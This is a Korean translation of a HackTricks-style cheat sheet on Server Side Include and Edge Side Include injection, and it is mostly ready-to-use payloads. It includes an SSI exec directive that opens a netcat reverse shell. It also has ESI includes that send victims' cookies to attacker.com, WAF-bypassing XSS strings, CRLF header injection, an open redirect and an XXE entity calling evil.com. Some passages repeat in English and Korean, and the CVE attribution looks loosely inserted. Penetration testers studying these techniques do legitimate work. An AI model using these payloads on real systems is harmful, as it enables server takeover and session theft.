Server Side Inclusion/Edge Side Inclusion Injection

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

• 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!

• 공식 PEASS & HackTricks 스웨그를 얻으세요.

• The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.

• 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm을 팔로우하세요.

• Hacking 트릭을 공유하려면 HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하세요.

서버 측 포함 기본 정보

(소개는 Apache 문서에서 가져왔습니다)

SSI(Server Side Includes)는 HTML 페이지에 배치되고 서버에서 평가되는 지시문입니다. 이를 통해 동적으로 생성된 콘텐츠를 기존 HTML 페이지에 추가할 수 있으며, CGI 프로그램이나 다른 동적 기술을 통해 전체 페이지를 제공할 필요가 없습니다. 예를 들어, 다음과 같이 기존 HTML 페이지에 지시문을 배치할 수 있습니다:

<!--#echo var="DATE_LOCAL" -->

그리고 페이지가 제공될 때, 이 단편은 평가되고 해당 값으로 대체됩니다:

Tuesday, 15-Jan-2013 19:28:54 EST

SSI를 사용할지, 아니면 페이지 전체를 프로그램으로 생성할지 결정하는 것은 일반적으로 페이지의 정적인 부분과 페이지가 제공될 때마다 재계산되어야 하는 부분의 비율에 따라 달라집니다. SSI는 현재 시간과 같은 작은 정보 조각을 추가하는 훌륭한 방법입니다. 그러나 페이지의 대부분이 제공될 때 생성되는 경우 다른 해결책을 찾아야 합니다.

웹 애플리케이션이 ** .shtml, .shtm 또는 .stm ** 확장자를 가진 파일을 사용한다면 SSI의 존재를 추론할 수 있지만, 이것만이 아닙니다.

일반적인 SSI 표현식의 형식은 다음과 같습니다:

<!--#directive param="value" -->

확인

서버 측 포함 (SSI) 및 엣지 측 포함 (ESI) 삽입은 웹 애플리케이션에서 발생할 수 있는 취약점입니다. 이러한 취약점을 통해 공격자는 악성 코드를 삽입하거나 원격 파일을 포함시킬 수 있습니다. 이 취약점을 확인하기 위해 다음 단계를 따릅니다.

1. 웹 애플리케이션의 URL을 확인하고 취약한지 여부를 판단합니다.

2. 취약한 URL에 대해 SSI 또는 ESI 삽입을 시도합니다.

3. 삽입한 코드가 실행되는지 확인합니다.

4. 삽입한 코드가 원격 파일을 포함하는지 확인합니다.

5. 취약점을 악용하여 원격 코드 실행이 가능한지 확인합니다.

위의 단계를 따라 취약점을 확인하고 악용할 수 있는지 확인할 수 있습니다. 이러한 취약점을 찾는 것은 웹 애플리케이션의 보안을 강화하는 데 도움이 됩니다.

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Edge Side Inclusion

컨텐츠의 일부가 다음에 컨텐츠를 검색할 때 변동할 수 있기 때문에 정보 또는 동적 애플리케이션 캐싱에 문제가 있습니다. 이것이 ESI가 사용되는 이유입니다. ESI 태그를 사용하여 캐시 버전을 보내기 전에 동적 컨텐츠를 생성해야 하는 것을 나타냅니다. 공격자가 캐시 컨텐츠 내에 ESI 태그를 삽입할 수 있다면, 사용자에게 전송되기 전에 문서에 임의의 컨텐츠를 삽입할 수 있습니다.

ESI 탐지

서버로부터의 응답에서 다음 헤더는 서버가 ESI를 사용하고 있음을 의미합니다.

Surrogate-Control: content="ESI/1.0"

만약 이 헤더를 찾을 수 없다면, 서버는 여전히 ESI를 사용할 수 있습니다. 블라인드 공격 접근법도 사용될 수 있습니다. 요청은 공격자의 서버로 도착해야 합니다:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESI 악용

GoSecure가 만든 표는 지원되는 기능에 따라 다른 ESI-capable 소프트웨어에 대해 시도할 수 있는 가능한 공격을 이해하기 위해 만들어졌습니다:

• Includes: <esi:includes> 지시문을 지원합니다.

• Vars: <esi:vars> 지시문을 지원합니다. XSS 필터 우회에 유용합니다.

• Cookie: 문서 쿠키는 ESI 엔진에서 접근할 수 있습니다.

• Upstream Headers Required: 상위 응용 프로그램이 헤더를 제공하지 않으면 Surrogate 응용 프로그램은 ESI 문을 처리하지 않습니다.

• Host Allowlist: 이 경우, ESI 포함은 허용된 서버 호스트에서만 가능하며, SSRF와 같은 공격은 해당 호스트에 대해서만 가능합니다.

소프트웨어	Includes	Vars	Cookies	Upstream Headers Required	Host Whitelist
Squid3	Yes	Yes	Yes	Yes	No
Varnish Cache	Yes	No	No	Yes	Yes
Fastly	Yes	No	No	No	Yes
Akamai ESI Test Server (ETS)	Yes	Yes	Yes	No	No
NodeJS esi	Yes	Yes	Yes	No	No
NodeJS nodesi	Yes	No	No	No	Optional

XSS

다음 ESI 지시문은 서버 응답 내에 임의의 파일을 로드합니다.

<esi:include src=http://attacker.com/xss.html>

클라이언트 XSS 보호 우회

Client-side XSS protection mechanisms are designed to prevent malicious scripts from being executed in a user's browser. These mechanisms typically involve sanitizing user input and encoding output to prevent script injection. However, it is possible to bypass these protections using various techniques.

클라이언트 측 XSS 보호 메커니즘은 사용자의 브라우저에서 악성 스크립트가 실행되는 것을 방지하기 위해 설계되었습니다. 이러한 메커니즘은 일반적으로 사용자 입력을 정리하고 출력을 인코딩하여 스크립트 삽입을 방지하는 것을 포함합니다. 그러나 다양한 기술을 사용하여 이러한 보호 기능을 우회할 수 있습니다.

One common technique is to use different encoding methods to obfuscate the malicious script. By encoding the script using methods such as base64 or URL encoding, it can bypass the client-side XSS protection and still be executed in the browser.

일반적인 기술 중 하나는 악성 스크립트를 난독화하기 위해 다른 인코딩 방법을 사용하는 것입니다. base64 또는 URL 인코딩과 같은 방법을 사용하여 스크립트를 인코딩하면 클라이언트 측 XSS 보호를 우회하고 브라우저에서 여전히 실행될 수 있습니다.

Another technique is to bypass client-side XSS protection by exploiting vulnerabilities in the application's code. This can involve finding and exploiting input validation or output encoding flaws that allow the injection of malicious scripts.

또 다른 기술은 애플리케이션의 코드에서 취약점을 이용하여 클라이언트 측 XSS 보호를 우회하는 것입니다. 이는 악성 스크립트의 삽입을 허용하는 입력 유효성 검사 또는 출력 인코딩 결함을 찾아내고 이를 악용하는 것을 포함할 수 있습니다.

It is important to note that bypassing client-side XSS protection is considered a security vulnerability and should not be used for malicious purposes. It is recommended to follow secure coding practices and regularly update and patch applications to prevent such vulnerabilities.

클라이언트 측 XSS 보호를 우회하는 것은 보안 취약점으로 간주되며 악의적인 목적으로 사용해서는 안 됩니다. 안전한 코딩 관행을 따르고 정기적으로 애플리케이션을 업데이트하고 패치하여 이러한 취약점을 방지하는 것이 권장됩니다.

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

쿠키 도용

• 원격으로 쿠키 도용하기

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />

• XSS를 통해 응답에 반영하여 HTTP_ONLY 쿠키를 도용합니다:

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

개인 로컬 파일

이것을 "로컬 파일 포함"과 혼동하지 마세요:

<esi:include src="secret.txt">

CRLF

CRLF (Carriage Return Line Feed)는 서버 측 포함 삽입 공격에서 자주 사용되는 기술입니다. 이 기술은 취약한 웹 애플리케이션에서 발생하는 캐리지 리턴 (CR) 및 라인 피드 (LF) 문자를 이용하여 공격자가 원격 코드 실행을 수행할 수 있도록 합니다.

CRLF 삽입 공격은 주로 HTTP 헤더 필드에 악성 CR 및 LF 문자를 삽입하여 공격을 수행합니다. 이를 통해 공격자는 서버의 응답을 조작하거나, 쿠키를 탈취하거나, 세션 하이재킹 등의 공격을 수행할 수 있습니다.

CRLF 삽입 공격을 방지하기 위해서는 입력 유효성 검사를 철저히 수행해야 합니다. 특히 사용자로부터 입력 받은 데이터를 HTTP 응답 헤더에 포함시킬 때는 CR 및 LF 문자를 필터링하거나 이스케이프 처리해야 합니다.

또한, 웹 애플리케이션의 버전을 최신으로 유지하고 보안 패치를 적용하는 것도 중요합니다. 취약점을 공격자가 악용하는 것을 방지하기 위해 보안 업데이트를 정기적으로 수행해야 합니다.

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

오픈 리디렉션

다음은 응답에 Location 헤더를 추가합니다.

<!--esi $add_header('Location','http://attacker.com') -->

헤더 추가

• 강제 요청에 헤더 추가

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>

• 응답에 헤더 추가 (XSS가 있는 응답의 "Content-Type: text/json" 우회에 유용)

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

헤더에 CRLF 주입 (CVE-2019-2438)

개요

이 취약점은 서버 측 포함(Server-Side Inclusion) 공격의 일종으로, HTTP 응답 헤더에 CRLF(Carriage Return Line Feed) 문자를 주입하여 공격자가 임의의 헤더를 추가하거나 HTTP 응답을 조작할 수 있는 취약점입니다. 이 취약점은 Oracle WebLogic Server에 존재하는 버그로 알려져 있으며, CVE-2019-2438로 식별됩니다.

공격 과정

1. 공격자는 취약한 웹 애플리케이션에 대한 요청을 보냅니다.

2. 요청 헤더에 CRLF 문자를 주입하여 새로운 헤더를 추가합니다.

3. 서버는 CRLF 문자 이후의 헤더를 새로운 헤더로 인식하고, 이를 포함한 HTTP 응답을 반환합니다.

4. 공격자는 조작된 응답을 통해 세션 하이재킹(Session Hijacking), 쿠키 변조(Cookie Manipulation), 웹 캐시 독점(Web Cache Poisoning) 등의 공격을 수행할 수 있습니다.

예방 방법

• 웹 애플리케이션에서 입력값을 검증하고, CRLF 문자를 필터링하여 주입을 방지합니다.

• 최신 버전의 Oracle WebLogic Server를 사용하고, 보안 패치를 적용합니다.

• 웹 방화벽을 사용하여 악성 요청을 차단합니다.

참고 자료

• CVE-2019-2438 - Oracle WebLogic Server CRLF Injection

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai 디버그

이는 응답에 포함된 디버그 정보를 전송합니다:

<esi:debug/>

ESI + XSLT = XXE

dca 매개변수에 xslt 값을 지정함으로써, eXtensible Stylesheet Language Transformations (XSLT) 기반의 ESI를 포함시킬 수 있습니다. 이러한 포함은 HTTP 대리자가 XML 및 XSLT 파일을 검색하고, 후자가 전자를 필터링하는 것을 야기합니다. 이러한 XML 파일은 XML External Entity (XXE) 공격에 취약하며, 공격자는 SSRF 공격을 실행할 수 있습니다. 그러나 이 접근 방식의 유효성은 이미 SSRF 벡터로서 ESI가 포함되어 있기 때문에 제한적입니다. 기본 Xalan 라이브러리에서 외부 DTD를 처리하지 않기 때문에 로컬 파일 추출이 방지됩니다.

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT 파일:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

XSLT 페이지를 확인하세요:

pageXSLT Server Side Injection (Extensible Stylesheet Language Transformations)

참고 자료

• https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/

• https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/

• https://academy.hackthebox.com/module/145/section/1304

• https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91

브루트포스 탐지 목록

Auto_Wordlists/ssi_esi.txt at main · carlospolop/Auto_WordlistsGitHub

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

• HackTricks에서 회사 광고를 보거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!

• 공식 PEASS & HackTricks 스웨그를 얻으세요.

• The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.

• 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.

• HackTricks와 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.